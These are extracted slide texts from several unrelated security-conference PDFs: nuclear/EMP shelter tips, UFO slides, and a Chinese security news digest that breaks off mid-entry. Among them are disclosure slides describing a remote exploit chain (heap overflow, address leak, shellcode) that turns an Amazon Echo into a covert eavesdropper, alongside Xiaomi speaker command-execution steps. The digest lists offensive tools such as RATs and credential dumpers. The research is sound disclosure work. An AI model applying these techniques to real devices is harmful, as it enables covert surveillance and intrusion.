FIREWORKS THE GREAT NUCLEAR PISSING CONTEST THE TELLER-ULAM DESIGN REVOLUTIONIZES FIREWORKS @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING Fission-Fusion staging allowed increased yields. Castle Bravo (15MT yield) and Tsar Bomba (50MT yield) largest Fission-Fusion staging allowed increased yields. Castle Bravo (15MT yield) and Tsar Bomba (50MT yield) largest THE 'ALSO-RANS', NPT & START THE ONLY WINNING MOVE WAS NOT TO PLAY THE 'ALSO-RANS', NPT & START THE ONLY WINNING MOVE WAS NOT TO PLAY @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING After joining the nuclear club in 1952, 1960 and 1964 respectively, the UK, France and China try to make it exclusive ratifying the non-proliferation treaty. US and USSR begin stockpile reduction after SALT talks and START treaty, After joining the nuclear club in 1952, 1960 and 1964 respectively, the UK, France and China try to make it exclusive ratifying the non-proliferation treaty. US and USSR begin stockpile reduction after SALT talks and START treaty, Israel prefers 'nuclear ambiguity' never signed NPT, see 1979 Vela Incident Israel prefers 'nuclear ambiguity' never signed NPT, see 1979 Vela Incident M.A.D., a Kahn and a Khan THE ONLY WINNING MOVE IS DIG DEEPER M.A.D., a Kahn and a Khan THE ONLY WINNING MOVE IS DIG DEEPER @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING John von Neumann's Mutually Assured Destruction -Rational Actors -Correct Attribution -Assured Destruction John von Neumann's Mutually Assured Destruction -Rational Actors -Correct Attribution -Assured Destruction Herman Kahn Questioned credibility of deterrence and coined the term “megadeath”. Herman Kahn Questioned credibility of deterrence and coined the term “megadeath”. Abdul Qadeer Khan Improved the Zippe centrifuge and dealt it to Pakistan, North Korea, Iran, Iraq, Libya and an unknown customer. Abdul Qadeer Khan Improved the Zippe centrifuge and dealt it to Pakistan, North Korea, Iran, Iraq, Libya and an unknown customer. REEXAMINING THE THREAT MODEL GLOBAL THERMONUCLEAR WAR OR A POT SHOT? REEXAMINING THE THREAT MODEL GLOBAL THERMONUCLEAR WAR OR A POT SHOT? @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING 1.4MT Starfish Prime shot over Johnston atoll caused a devastating electromagnetic pulse, resulting Van Allen belts destroyed a third of satellites in low earth orbit. 1.4MT Starfish Prime shot over Johnston atoll caused a devastating electromagnetic pulse, resulting Van Allen belts destroyed a third of satellites in low earth orbit. Over half a century later, civilian infrastructure remains woefully unprotected from even the smallest EMPs Over half a century later, civilian infrastructure remains woefully unprotected from even the smallest EMPs TOMORROW'S DISRUPTIVE TECHNOLOGY IS IN FACT FREAKIN' LASERS TOMORROW'S DISRUPTIVE TECHNOLOGY IS IN FACT FREAKIN' LASERS @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING SILEX Systems, the Australian startup that: -Tried to commercialize laser enrichment -Partnered with USEC and GE, spun off GLE -First case of privately held information classified by the U.S. Government -Proliferation threat outside 'scope' of NRC -GE-Hitachi announces intention to sell 76% GLE stake in April 2016, citing poor market - SILEX Systems, the Australian startup that: -Tried to commercialize laser enrichment -Partnered with USEC and GE, spun off GLE -First case of privately held information classified by the U.S. Government -Proliferation threat outside 'scope' of NRC -GE-Hitachi announces intention to sell 76% GLE stake in April 2016, citing poor market - A wild proliferation assessment appears, calling out carbon monoxide lasers and concludes“the possibility exists that such a system may be indigenously assembled” A wild proliferation assessment appears, calling out carbon monoxide lasers and concludes“the possibility exists that such a system may be indigenously assembled” A FUTURE OF ARMS CONTROL FAILURE NATION STATES MAY NO LONGER DOMINATE A FUTURE OF ARMS CONTROL FAILURE NATION STATES MAY NO LONGER DOMINATE @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Undeclared/clandestine enrichment facilities to become a widespread issue -'Rogue States' like North Korea a harbinger of smaller, less organized proliferators with varied motives -Technically sophisticated non-state actors likely to proliferate and maintain nuclear ambiguity -Seizing uranium ore deposits perhaps the last line of defense from widespread proliferation until seawater extraction of uranium matures -Undeclared/clandestine enrichment facilities to become a widespread issue -'Rogue States' like North Korea a harbinger of smaller, less organized proliferators with varied motives -Technically sophisticated non-state actors likely to proliferate and maintain nuclear ambiguity -Seizing uranium ore deposits perhaps the last line of defense from widespread proliferation until seawater extraction of uranium matures SO WHAT DO YOU DO ABOUT IT? START WITH THE LOW HANGING FRUIT SO WHAT DO YOU DO ABOUT IT? START WITH THE LOW HANGING FRUIT @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Small electronics can be easily protected by a factor of over -80dB stored offline in metal trash cans taped shut with copper or aluminum to prevent the slot antenna effect. -Larger or running electronics may be difficult to tailor harden and the cost of replacement should be weighed against extensive engineering efforts -In areas where a ground burst or low altitude nuclear explosion are considered more probable, consider engineering need for overpressure, fire, spall and ionizing radiation shielding! -Small electronics can be easily protected by a factor of over -80dB stored offline in metal trash cans taped shut with copper or aluminum to prevent the slot antenna effect. -Larger or running electronics may be difficult to tailor harden and the cost of replacement should be weighed against extensive engineering efforts -In areas where a ground burst or low altitude nuclear explosion are considered more probable, consider engineering need for overpressure, fire, spall and ionizing radiation shielding! SERIOUS IMPROVISED PROTECTION START THINKING SUBTERRANEAN SERIOUS IMPROVISED PROTECTION START THINKING SUBTERRANEAN @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Drainage culverts used for their intended purpose are obviously disqualified! -200psi overpressure protection can be achieved with burial greater than twice the culvert's diameter as discovered in Upshot-Knothole Encore -Drainage culverts used for their intended purpose are obviously disqualified! -200psi overpressure protection can be achieved with burial greater than twice the culvert's diameter as discovered in Upshot-Knothole Encore Burial alone does not necessarily provide EMP protection if overburden is poorly conductive! But it's great for fire and ionizing radiation... Burial alone does not necessarily provide EMP protection if overburden is poorly conductive! But it's great for fire and ionizing radiation... CUT AND COVER METHODS AND MATERIALS TUNE IN AT DEF CON 24! CUT AND COVER METHODS AND MATERIALS TUNE IN AT DEF CON 24! @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING GROK THE ROCK: IN-SITU SHELTERS SO UNDERGROUND, EVEN THE HIPSTERS DON'T KNOW GROK THE ROCK: IN-SITU SHELTERS SO UNDERGROUND, EVEN THE HIPSTERS DON'T KNOW @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING -Purpose-built facilities can be excavated from strata underlying hard rock far more cheaply than cut and cover -Only appropriate below the water table if you have long-term backup power for pumps! -Purpose-built facilities can be excavated from strata underlying hard rock far more cheaply than cut and cover -Only appropriate below the water table if you have long-term backup power for pumps! -The Cheyenne Mountain facility was excavated under (sometimes brecciated) granite, rated 600psi -The Cheyenne Mountain facility was excavated under (sometimes brecciated) granite, rated 600psi US Army Technical Manual 5-858-8 was state of the art until FEA! US Army Technical Manual 5-858-8 was state of the art until FEA! HARD ROCK METHODS AND MATERIALS TUNE IN AT DEF CON 24! HARD ROCK METHODS AND MATERIALS TUNE IN AT DEF CON 24! @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING @3ALARMLAMPSCOOT D.I.Y. NUKEPROOFING
pdf
About Us • Li Yuxiang @Xbalien29 Security researcher, found several vulnerabilities in Android, Former ROIS CTF team member, speaker of HITB 2018 AMS. • Qian Wenxiang @leonwxqian Security Researcher, Top 100 of MSRC list ( 2016 & 2017 ), Author of "WhiteHat to talk about web browser security ". • Wu Huiyu @DroidSec_cn Security Researcher, Bug Hunter, GeekPwn 2015 Winner, Speaker of HITB 2018 AMS and POC 2017. Acknowledgement @Gmxp, Team Leader of Tencent Blade Team. @Lake2, Founder of Tencent Security Response Center. Tencent Blade Team • Founded By Tencent Security Platform Department. • Focus on security research of AI, IoT, Mobile devices. • Found 70+ security vulnerabilities (Google, Apple). • Contact us: https://blade.tencent.com Agenda • Introduction to Smart Speaker • Attack Surface • Remote Attack Xiaomi AI speaker • Breaking Amazon Echo • Conclusion Introduction to Smart Speaker About Amazon Echo About Xiaomi AI Speaker Attack Surface Smart Speaker Mobile App Cloud Server Communication Protocol Remote Attack Xiaomi AI Speaker • A Brief Look At Xiaomi AI Speaker • MIIO Ubus Command Execution • Messageagent Command Execution • Remote Exploit • Demo A Brief Look At Xiaomi AI Speaker • Base on OpenWrt 15.05.1 • SSH Disabled • Firmware Verification based on RSA • Ports: – UDP 54321 MIIO – TCP 9999 UPNP – UDP 53 DNS MIIO Protocol MIIO Ubus Command Execution • Get MIIO protocol AES secret key (token) - Use a unauthorized unbind vulnerability to remote reset MI AI speaker - Bind MI AI Speaker to attacker’s account, extract token from MI Home App’s database (/data/data/com.xiaomi.smarthome/databases/miio2.db) MIIO Ubus Command Execution • Disable dropbear password auth • Start dropbear to open ssh • Connect Speaker in LAN MIIO Ubus Command Execution Messageagent Messageagent Command Execution • Parser and execute ubus command • Parser and execute system command Remote Exploit Demo Breaking Amazon Echo • A Brief Look At Amazon Echo • Soldering & Desoldering Tools • Flash Dump • Root Amazon Echo by Modify Firmware • Exploit Amazon Echo • Demo A Brief Look At Amazon Echo MTK 8163 CPU Mircon / Samsung 4GB EMCP BGA221 • Fire OS v5.5 (Based On Android 5.1) • SELinux & ASLR enabled • Bootloader Locked • Ports: TCP 55442 HTTP Server TCP 55443 HTTPS Server UDP 55444 Time Sync UDP 55445 Device Sync Soldering & Desoldering Tools Amtech Tacky Flux Solder Wick Hot Air Gun Soldering Iron Solder Wire Solder Paste Reballing Tool Desoldering Demo Flash Dump BGA211 EMCP Adapter + EMCP USB Reader Flash Dump Preloader Bootloader ………. Boot image /system /data /sdcard Root Amazon Echo by Modify Firmware Modify /system/etc/init.fosflags.sh Soldering Demo Root Amazon Echo by Modify Firmware Exploiting Amazon Echo: On Basis of Software 3 Steps to Eavesdropping the Target 3 Big Problems Need to Be Solved Vulnerable Program 2 1 3 An Attacker is Always Happy to See There’s a Web Server Available Whole Home Audio Daemon (whad) ✓ root ✓ Able to record voice ✓ Network access ✓ Web server Protocol Port Purpose TCP 55442 HTTP Server (audio cache) TCP 55443 HTTPS Server w/authentication (device control) UDP 55444 Time Sync. UDP 55445 Device Sync. Client-authenticated TLS Handshake • We need Server Certificate, Client Certificate and Private Key. • Get them from libcurl’s negotiate function. • Solution: Extract information from physically hacked device. This one! Bind the Hacked Device into Victim’s Account First Web Service Auditing • XSSes we’ve found are hard to use, but it is fatal. • Session based, some actions need re-login. • Lack of modern protections. Use Several Redirects to Mimic an XSS • Alexa OpenID login redirect to any domain fits https://*.amazon.com . • assoc-redirect.amazon.com will redirect to an Amazon site amazon.cn, amazon.co.uk … • Validate rule: http(s)://*.amazon.com*.*/ (We guess). • We need a downgrade: http://subdomain.amazon.com . Restrictions • Find an Amazon domain resolves to LAN address. • Attacker can be joined into the LAN with that IP address. Steal Cookies with the Redirect • aapsservice.amazon.com, A Record(DNS A) resolves to a local address 10.189.XX.XX. • Attacker joins the LAN with IP statically set to 10.189.XX.XX, and web server enabled. aapsservice resolves to attacker in that LAN. 2 Big Problems Need to Be Solved Vulnerable Program 2 3 • When user login, we can get the cookies. • Bind our device. • We can communicate with other devices of victim. DEAL WITH IT Extract Certificates and Private Keys From libcurl’s Negotiate Function The Cloud Synchronize of Device Info Device info obtained from Amazon when whad starts. Patching Whad • Whad HTTPS “ping” other devices periodically. • Patch whad (of physically rooted device). • Dump the certs and private keys we need! • Benefit: No need to crack the complex algorithm. • Simple and violent, but it works. Get the Keys to Pwn • Disable ASLR, SELinux of physically hacked device • Dump Server Certificate, Client Certificate from the variant which outputs adb log. • Dump Private Key from negotiate function too, with a call to PEM_write_PrivateKey() . 1 Big Problem Needs to Be Solved Vulnerable Program 3 • Every time before we would attack, we run patched whad to get the certs & key. • “Firewall” of client authentication is broken. DEAL WITH IT DEAL WITH IT Binary Auditing • Amazon’s own code is secured by design. • Echo’s using very old version of the 3rd party libraries. • N days & 0 day. Attack the Web Server, to Finally Get Control of Whad The Web Server -- libcivetweb • The code is written 4 years ago. • A failed condition check caused almost every type of vulnerabilities in sequence in getParam(). • Nobody calls the vulnerable function until an update… A Bad Move Leads to Chain Reaction bool CivetServer::getParam(struct mg_connection *conn, const char *name, std::string &dst, size_t occurrence) { …… …… } CVE-2018-12686 Fixed in June, 2018 Overflow the dlmalloc(0) • dlmalloc(0) is valid. 16 bytes (8B metadata + 8B user data) • mg_read() fix the input length ( uint -1 ): int write_size = min(0xfffffff, actual length); • POST data written into buffer. • length of input > 8 bytes Heap buffer overflow Shape the heap • Shape the heap by sending HTTPS request. • malloc() controlled by user. • Sending or omitting \r\n\r\n to control the connection. Bypass ASLR to Continue Our Attack Heap spray • Large heap allocation mmaped anonymous memory. • Memory lays in a predictable range (even ASLR is enabled). • In our case, which is 0xf15f1008 (empirical value). • Heap spray and put our shellcode into this address. Leak Addresses of Other Libraries • Information leak via network? • CVE-2017-1000254 of libcurl in FTP connection is exploitable. • To reproduce the vulnerability we need a FTP connection reuse. Echo disabled many dangerous libcurl functions Trigger the Hidden Code Path • Playlist download Connection reuse! • Accept only HTTP/HTTPS 302 Redirect to FTP. • FTP 404 Prevent from caching. • Command downloadAudio with extension .pls, libcurl visits FTP server twice Address leaked! Leaking the Address • Payload length = 103 leak an function address by luck (~80%). • Calculate libcurl’s base loading address. • Calculate other libraries’ addresses based on leaked address. Code Execution • Overwrite the function pointer in SSL context object • Webserver responding SSL_write • Fastest way to trigger: malformed HTTP version header. • Not safe if you compile this code on Windows, did you see that? ☺ Attacking Primitives • Restart the whad • Information leak • Heap maintaining • Heap freeing • Fast SSL_write call • Create any size of heap • Use different types of connection to obtain ideal heap layout. • Combine them to get an RCE. Time to PWN Entrust The Hack to Time • Challenge: disturb from background threads. • ~40% for a testing gadget (4 Bytes) • Real life gadget is 24 bytes, success rate down to ~8%. • But whad is respawned after crash automatically. • The only thing we need is time ☺ (avg. 30 min per success). The Shellcode • Almost same system version on every Echo device ->We don’t need to adapt for many versions • fork() to prevent crash • Handlers for SIGSEGV/SIGABRT • Send the data via TCP to attacker Deal with It whad • Whad is now turning into a eavesdropping program. • It’s eavesdropping silently and it’s sending every voice data to the attacker. DEAL WITH IT Demo Video Updates • Reported to Xiaomi in April, fixed in May, received $25,000 USD bonus. “Thanks to the Tencent Blade Team for the support of Xiaomi's product safety. All reported vulnerabilities have been fixed to ensure maximum user security.” • Reported to Amazon in May, fixed in July. “Amazon would like to thank the Tencent Blade Team for working with us on resolving this issue. Customer trust is important to us and we take security seriously. Customers do not need to take any action as their devices have been automatically updated with security fixes.” Conclusion • Exploit Source Code: – We will update full exploit code to Github in the future: https://github.com/tencentbladeteam • Hack tips: – Get the firmware first. – It’s good to master all kinds of soldering and firmware extraction methods. – Web Vulnerabilities + Binary Vulnerabilities Remote Exploit. – Be patient. Thank You https://blade.tencent.com Contact us https://security.tencent.com Our Bug Bounty Program Q & A https://blade.tencent.com Contact us https://security.tencent.com Our Bug Bounty Program Reference https://en.wikipedia.org/wiki/Transport_Layer_Security#Client- authenticated_TLS_handshake https://github.com/civetweb/civetweb http://www.openwall.com/lists/oss-security/2018/02/27/5 https://github.com/aholstenson/miio https://twitter.com/fjeronimo/status/975781623127068674 https://github.com/jhautry/echo-dot
pdf
Richard Thieme - DefCon 29 - August 6, 2021 UFOs Misinformation, Disinformation, and the Basic Truth Date: September 25, 1947 From: Lt. General Nathan Twining To: Commanding General of the Army Air Forces; Brig. General George Schulgen Subject: Air Materiel Command Opinion Concerning "Flying Discs" ... It is the opinion that: a. The phenomenon reported is something real and not visionary or fictitious. b. There are objects probably approximating the shape of a disc. Of such appreciable size as to appear to be as large as man-made aircraft. c. The reported operating characteristics such as extreme rates of climb, maneuverability, and action which must be considered evasive when sighted by friendly aircraft and radar ..." https://science.howstuffworks.com/space/aliens-ufos/rb-47-ufo.htm An Introduction to the RB47 Incident www.minotb52ufo.com … A NARRATIVE OF UFO EVENTS AT MINOT AIR FORCE BASE CASES CASES CASES READ THEM READ THEM READ THEM THE WAY FORWARD https://thiemeworks.com
pdf
统计时间:2021-11-08-2021-11-15 技术节点 [360安全客] Apache httpd Server CVE-2021-41773 漏洞分析 Apache httpd Server 2.4.49 版本引⼊了⼀个具有路径穿越漏洞的新函数,但需要配合穿越的⽬录配置 Require all granted,攻击者可利⽤该漏洞实现路径穿越从⽽读取任意⽂件,或者在配置了cgi的httpd程序 中执⾏bash指令,从⽽有机会控制服务器。 [360安全客] OMIGOD:CVE-2021-38647 OMI远程代码执⾏漏洞分析 微软在2021年9⽉的补丁更新中,修复了其Open Management Infrastructure (OMI) 中的多个漏洞,其中 最为严重⼀个是远程代码执⾏漏洞,编号为CVE-2021-38647,也被称为OMIGOD,该漏洞影响OMI 1.6.8.0 及以下版本。 [360安全客] 劫持 Golang 编译 前段时间学习了 0x7F 师傅的「dll 劫持和应⽤」,其中提到通过 dll 劫持来劫持编译器实现供应链攻击,不 由想到 Go 中的⼀些机制也可以⽅便地实现编译劫持,于是做了⼀些研究和测试。 [360安全客] 从零开始开发CS beacon(⼀) 前段时间,出了⼀个beaconEye的项⽬,以及golang版本的EvilEye通过扫描内存,由于以前为了防⽌被扫描 beacon配置都是改XOR值,但是最终内存⾥⾯的都已经被还原出来,所以也是能此⼯具被解析出配置。 [360安全客] 应急响应⼊⻔篇-windows分析排查技术(上) ⼀般情况下,各种⽊⻢,病毒等恶意程序,都会在计算机开机启动过程中启动。 [360安全客] glibc2.31下通过IOAttack开启ROP 我个⼈更喜欢第⼀种思路, 只需要顺便设置⼀个可读可写地址, 就不⽤费⼼思中转了。 [360安全客] OpenStack 远程代码执⾏(CVE-2021-40085)分析 这篇⽂章将描述我在OpenStack中发现的漏洞,基于多种因素的巧妙结合,该漏洞可以实现远程代码执⾏。 产⽣该漏洞的根本原因很简单,但是对其进⾏成功的利⽤需要很⼤⼯作量,我将对此进⾏讲述。 [360安全客] 深耕保护模式 X86 CPU的3个⼯作模式:实模式、保护模式和虚拟8086模式。 [360安全客] 垂直攀登,2021 OSCP AK之旅 先介绍⼀下OSCP报名之前个⼈的基础,以供参考。 [360安全客] InCTF 2021 国际赛 - kqueue 复现及简要分析 InCTF 国际赛据称为印度的“强⽹杯”,⽐赛时笔者所在的战队没有报名所以未能参加,赛后笔者看到了 Scupax0s 师傅的 WP后把其中⼀道kernel pwn简单复现了⼀下,感觉还是挺不错的⼀道 kernel pwn ⼊⻔ 题。 [360安全客] 第⼆届华为武汉研究所11·9⽹络安全⼤赛PWN Writeup 时间:2021.10.31,地点:华为武汉研究所,战队:天命。 [Github关注] ASkyeye forked ASkyeye/NGLite from Maka8ka/NGLite A major platform RAT Tool based by Blockchain/P2P.Now support Windows/Linux/MacOS [Github关注] ASkyeye forked ASkyeye/Rubeus-GUI from VbScrub/Rubeus-GUI Front end for the command line Rubeus tool [Github关注] ASkyeye forked ASkyeye/HEVD-CSharpKernelPwn from daem0nc0re/HEVD- CSharpKernelPwn CSharp Writeups for HackSys Extreme Vulnerable Driver [Github关注] ASkyeye forked ASkyeye/ShellLink from securifybv/ShellLink A .NET Class Library for processing ShellLink (LNK) files [Github关注] S3cur3Th1sSh1t starred diversenok/TokenUniverse /* Under development */ An advanced tool for working with access tokens and Windows security policy. [Github关注] WBGlIl starred UnauthorizedAccessBV/ESET-Protect-Docker-Server [Github关注] jas502n starred rule110-io/surge Surge is a p2p filesharing app designed to utilize blockchain technologies to enable 100% anonymous file transfers. Surge is end-to-end encrypted, … [Github关注] moloch-- starred ctaggart/froto Froto: F# Protocol Buffers [Github关注] ASkyeye forked ASkyeye/elfloader from gamozolabs/elfloader An architecture-agnostic ELF file flattener for shellcode [Github关注] moloch-- starred gamozolabs/elfloader An architecture-agnostic ELF file flattener for shellcode [Github关注] FunnyWolf forked FunnyWolf/gitlab-version-nse from righel/gitlab-version-nse Nmap script to guess* a GitLab version. [Github关注] jas502n created a repository jas502n/GitlabVer gitlab version index [Github关注] CHYbeta starred oracle/docker-images Official source for Docker configurations, images, and examples of Dockerfiles for Oracle products and projects [Github关注] zu1k released 0.4.4 at zu1k/sdusrun [Github关注] Rvn0xsy made Rvn0xsy/rotateproxy-action public rotateproxy-action [Github关注] huoji120 starred zeroSteiner/rule-engine A lightweight, optionally typed expression language with a custom grammar for matching arbitrary Python objects. [Github关注] pmiaowu released HostCollision-2.1.5 at pmiaowu/HostCollision [Github关注] TheKingOfDuck starred joernio/joern Open-source code analysis platform for C/C++/Java/Binary/Javascript based on code property graphs [Github关注] zt2 starred ffuf/ffuf Fast web fuzzer written in Go [Github关注] jas502n starred iceyhexman/flask_memory_shell Flask 内存⻢ [Github关注] Lz1y starred jas502n/GitlabVer gitlab version index [Github关注] jas502n starred s-unscrupulous/idea_seat IDEA 久坐提醒插件 [Github关注] zu1k starred adityatelange/hugo-PaperMod A fast, clean, responsive Hugo theme. [Github关注] huoji120 starred Deputation/instrumentation_callbacks A proof of concept demonstrating instrumentation callbacks on Windows 10 21h1 with a TLS variable to ensure all syscalls are caught. [Github关注] pandazheng starred Sh3llyR/statiStrings YARA Rule Strings Statistics Calculator and Malware Research Helper [Github关注] pmiaowu created a repository pmiaowu/DeserializationTest 学习Java反序列化的环境 [Github关注] CHYbeta starred synacktiv/CVE-2021-40539 Exploitation code for CVE-2021-40539 [Github关注] jas502n starred CsEnox/GitLab-Wiki-RCE RCE Exploit for Gitlab < 13.9.4 [Github关注] zu1k released 0.4.5 at zu1k/sdusrun [Github关注] orleven starred virusdefender/copy-cert 基于已知⽹站 ssl 证书的信息⽣成新的⾃签名证书,除了证书是不被信任的以外,其他的信息看上去基本⼀ 致,⽤于伪装流量。 [Github关注] Lz1y starred johnthagen/min-sized-rust How to minimize Rust binary size [Github关注] brant-ruan starred mitre-attack/attack-navigator Web app that provides basic navigation and annotation of ATT&CK matrices [Github关注] ASkyeye forked ASkyeye/MayorSecBackdoor from dievus/MayorSecBackdoor Lite version of my Gatekeeper backdoor for public use. [Github关注] gh0stkey released CaA 0.1 at gh0stkey/CaA [Github关注] FunnyWolf starred S3cur3Th1sSh1t/PowerSharpPack [Github关注] timwhitez starred UnkL4b/BabyShark Basic C2 Server [Github关注] shmilylty starred GhostPack/ForgeCert "Golden" certificates [Github关注] shmilylty starred NS-Sp4ce/Frp_modify 修改版FRP [Github关注] ASkyeye forked ASkyeye/SyscallsExample from m0rv4i/SyscallsExample Simple project using syscalls (via Syswhispers2) to execute MessageBox shellcode. [Github关注] shmilylty starred l3m0n/linux_information ⾃动化收集linux信息 [Github关注] shmilylty forked shmilylty/supplier from r0eXpeR/supplier 主流供应商的⼀些攻击性漏洞汇总 [Github关注] jas502n starred fofapro/Hosts_scan 这是⼀个⽤于IP和域名碰撞匹配访问的⼩⼯具,旨意⽤来匹配出渗透过程中需要绑定hosts才能访问的弱主机 或内部系统。 [Github关注] DIYgod starred NaturalSelectionLabs/RSS3-Name-Service A compatible and inclusive name service that supports RNS ENS and more [Github关注] cube0x0 starred RiccardoAncarani/BOFs Collection of Beacon Object Files (BOFs) for shells and lols [Github关注] ASkyeye forked ASkyeye/rpcfirewall from zeronetworks/rpcfirewall [Github关注] DIYgod starred moxystudio/node-proper-lockfile An inter-process and inter-machine lockfile utility that works on a local or network file system. [Github关注] pandazheng starred zeronetworks/rpcfirewall [Github关注] jas502n starred 0e0w/HackJava 《深⼊理解Java代码审计》 [Github关注] pandazheng starred mai1zhi2/SharpBeacon CobaltStrike Beacon written in .Net 4 ⽤.net重写了stager及Beacon,其中包括正常上线、⽂件管理、进程 管理、令牌管理、结合SysCall进⾏注⼊、原⽣端⼝转发、关ETW等⼀系列功能 [Github关注] RedTeamWing starred XianYanTechnology/RocB 鹏 RocB - Java代码审计IDEA插件 SAST [Github关注] timwhitez starred rdesktop/rdesktop rdesktop is in need of a new maintainter. Please see the home page for more details. [Github关注] SkewwG starred YunaiV/SpringBoot-Labs ⼀个涵盖六个专栏:Spring Boot 2.X、Spring Cloud、Spring Cloud Alibaba、Dubbo、分布式消息队列、 分布式事务的仓库。希望胖友⼩⼿⼀抖,右上⻆来个 Star,感恩 1024 [Github关注] gh0stkey starred DissectMalware/XLMMacroDeobfuscator Extract and Deobfuscate XLM macros (a.k.a Excel 4.0 Macros) [Github关注] pmiaowu released HostCollision-2.1.6 at pmiaowu/HostCollision [Github关注] RedTeamWing starred scopion/dic 渗透字典,框架信息泄露,备份⽂件泄露,配置⽂件泄露。字典 [Github关注] pandazheng starred Mr-xn/Penetration_Testing_POC 渗透测试有关的POC、EXP、脚本、提权、⼩⼯具等---About penetration-testing python-script poc getshell csrf xss cms php-getshell domainmod-xss penetration-testing-poc cs… [Github关注] brant-ruan starred ZJU-SEC/AbstractResourceAttack This repository is used to analysis the shared resources of different containers [Github关注] No-Github starred rsalmei/alive-progress A new kind of Progress Bar, with real-time throughput, ETA, and very cool animations! [Github关注] No-Github starred jobbole/awesome-python-cn Python资源⼤全中⽂版,包括:Web框架、⽹络爬⾍、模板引擎、数据库、数据可视化、图⽚处理等,由 「开源前哨」和「Python开发者」微信公号团队维护更新。 [Github关注] ASkyeye forked ASkyeye/ets5-password-recovery from robertguetzkow/ets5-password- recovery ETS5 Password Recovery Tool is a PoC for CVE-2021-36799 [Github关注] DIYgod starred CaviarChen/fog-machine Fog Machine is a web tool for visualizing and editing the data of Fog of World App. [Github关注] ASkyeye forked ASkyeye/chlonium from rxwx/chlonium Chromium Cookie import / export tool [Github关注] pandazheng starred DavidXanatos/DiskCryptor A fork of the DiskCryptor full disk encryption tool [Github关注] No-Github starred WebAssembly/wabt The WebAssembly Binary Toolkit [Github关注] CHYbeta forked CHYbeta/tomcat-cluster-session-sync-exp from threedr3am/tomcat- cluster-session-sync-exp tomcat使⽤了⾃带session同步功能时,不安全的配置(没有使⽤EncryptInterceptor)导致存在的反序列化 漏洞,通过精⼼构造的数据包, 可以对使⽤了tomcat⾃带session同步功能的服务器进⾏攻击。PS:这个不是 CVE-2020-9484,9484是session持久… [Github关注] pandazheng starred Tojaj/rsa-algorithm School project - Implementation of the RSA algorithm [Github关注] pandazheng starred b4den/rsacrack A toolbox for extracting RSA private keys from public keys. [Github关注] pcat007 starred gdraheim/docker-copyedit edit docker image metadata (including remove docker volumes) [Github关注] easychen starred yeemachine/kalidokit Blendshape and kinematics solver for Mediapipe/Tensorflow.js face, eyes, pose, and hand tracking models. [Github关注] pandazheng starred corelight/CVE-2021-42292 A Zeek package to detect CVE-2021-42292, a Microsoft Excel local privilege escalation exploit. [Github关注] jas502n starred blackorbird/APT_REPORT Interesting apt report collection and some special ioc express [Github关注] brant-ruan starred wuzhouhui/awk The AWK Programming Language (AWK 程序设计语⾔, awkbook) 中⽂翻译, LaTeX 排版 [Github关注] xianyuzailushang starred inspiringz/CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool [Github关注] orangetw starred lucasg/findrpc Idapython script to carve binary for internal RPC structures [Github关注] s0md3v forked s0md3v/wappalyzer from AliasIO/wappalyzer Identify technology on websites. [Github关注] brant-ruan created a repository brant-ruan/awesome-cloud-security awesome resources about cloud security [Github关注] CHYbeta starred GrrrDog/Sploits Place for random PoCs [Github关注] S3cur3Th1sSh1t starred helpsystems/nanodump Dumping LSASS has never been so stealthy [Github关注] Lz1y starred gh0stkey/CaA CaA - BurpSuite Collector and Analyzer [Github关注] No-Github starred horsicq/Detect-It-Easy Program for determining types of files for Windows, Linux and MacOS. [Github关注] No-Github starred xuanhusec/OscpStudyGroup Oscp study group [Github关注] No-Github starred t3ls/mipsAudit IDA MIPS静态扫描脚本,汇编审计辅助脚本 [Github关注] 0nise starred Vulnogram/Vulnogram Vulnogram is a tool for creating and editing CVE information in CVE JSON format [Github关注] Hcamael starred avwo/whistle HTTP, HTTP2, HTTPS, Websocket debugging proxy [Github关注] Lucifer1993 starred yanue/V2rayU V2rayU,基于v2ray核⼼的mac版客户端,⽤于科学上⽹,使⽤swift编写,⽀持vmess,shadowsocks,socks5等服 务协议,⽀持订阅, ⽀持⼆维码,剪贴板导⼊,⼿动配置,⼆维码分享等 [Github关注] gh0stkey starred sivan/heti 赫蹏(hètí)是专为中⽂内容展示设计的排版样式增强。它基于通⾏的中⽂排版规范⽽来,可以为⽹站的读 者带来更好的⽂章阅读体验。 [Github关注] No-Github starred CheckPointSW/Karta Karta - source code assisted fast binary matching plugin for IDA [Github关注] No-Github starred rabbitmask/Libra Libra [ 天秤座 ] | ⽹站篡改、暗链、死链监测平台 [Github关注] No-Github starred bytedance/Elkeid Elkeid is a Cloud-Native Host-Based Intrusion Detection solution project to provide next-generation Threat Detection and Behavior Audition with mod… [Github关注] gh0stkey starred SycloverTeam/SycBinINTVW2021 三叶草技术⼩组⼆进制⽅向2021年第⼆次⾯试题⽬ & 题解 [Github关注] zt2 starred iamthefrogy/nerdbug Full Nuclei automation script with logic explanation. [Github关注] zt2 starred PhotonBolt/chaospy Small Tool written based on chaos from projectdiscovery.io [Github关注] zt2 starred tomnomnom/anew A tool for adding new lines to files, skipping duplicates [Github关注] ShutdownRepo starred swisskyrepo/Vulny-Code-Static-Analysis Python script to detect vulnerabilities inside PHP source code using static analysis, based on regex [Github关注] shmilylty starred rainrocka/xinhu 信呼,免费开源的办公OA系统,包括APP,pc上客户端,REIM即时通信,服务端等,让每个企业单位都有 ⾃⼰的办公系统。 [Github关注] zt2 starred foxsen/archbase 